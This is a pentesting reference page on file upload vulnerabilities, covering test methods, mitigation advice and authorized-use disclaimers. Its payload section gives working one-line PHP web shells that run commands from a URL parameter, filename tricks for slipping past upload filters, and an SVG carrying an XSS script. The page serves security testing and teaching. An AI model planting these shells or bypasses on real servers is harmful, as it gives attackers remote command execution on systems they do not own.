OWASP Hunting
Server-Side

File Upload Vulnerabilities

File upload vulnerabilities allow attackers to upload malicious files — web shells, polyglots, or scripts — leading to RCE, XSS, or path traversal.

These payloads are for authorized testing only — systems you own, authorized bug bounty programs, or controlled lab environments. Unauthorized testing is illegal.

What it is

File upload vulnerabilities occur when an application allows users to upload files without sufficiently validating type, content, or destination. Attackers exploit these vulnerabilities to upload web shells (leading to RCE), HTML/SVG files (leading to XSS), or use path traversal in filenames to overwrite critical files.

Attack Vectors

  • Profile picture upload endpoints
  • Document and resume upload features
  • Image galleries and media managers
  • CMS plugin/theme upload functionality
  • Import/export features accepting file uploads

Testing Methodology

  1. Upload a PHP/ASP/JSP web shell with a changed extension
  2. Test double extension bypass: shell.php.jpg
  3. Try null byte injection in filename: shell.php%00.jpg
  4. Manipulate Content-Type header to bypass MIME type checks
  5. Test magic byte bypass by prepending a valid image header
  6. Try SVG file upload with embedded JavaScript for XSS

Payloads

Reference payloads for authorized testing. Always verify you have permission before use.

PHP Web Shell Extensions
.php.php3.php4.php5.php7.phtml.phar.phpt.pgif.pht
ASP/ASPX
.asp.aspx.asa.asax.ascx.ashx.asmx.cer.config
Double Extension Bypass
shell.php.jpgshell.php.pngshell.php.gifshell.jpg.phpshell.png.php
Null Byte Bypass
shell.php%00.jpgshell.php.jpgshell.php%00.png
SVG XSS
<svg xmlns="http://www.w3.org/2000/svg"><script>alert(document.domain)</script></svg>
Simple PHP Shell Content
<?php system($_GET['cmd']); ?><?php passthru($_REQUEST['cmd']); ?>

Indicators of Vulnerability

  • Uploaded file accessible at a predictable URL
  • PHP/ASP code executed when accessing the uploaded file URL
  • JavaScript executed when victim views an uploaded SVG/HTML file

Detection Guidance

Implement server-side content-type validation using magic bytes. Store uploads outside the web root. Monitor upload directories for executable files.

Mitigation & Remediation

  • Validate file type using content (magic bytes) not just extension or MIME header
  • Use an allowlist of permitted file types and extensions
  • Store uploaded files outside the web root
  • Rename uploaded files to remove any executable extensions
  • Disable script execution in upload directories via server configuration
  • Serve uploaded files from a separate cookieless domain

References

Responsible Use

All content in this reference is for authorized security testing only. Use only on systems you own or have explicit written permission to test.

  • Systems and applications you own
  • Authorized penetration testing engagements
  • Bug bounty programs with defined scope
  • Educational lab environments (DVWA, WebGoat, HackTheBox)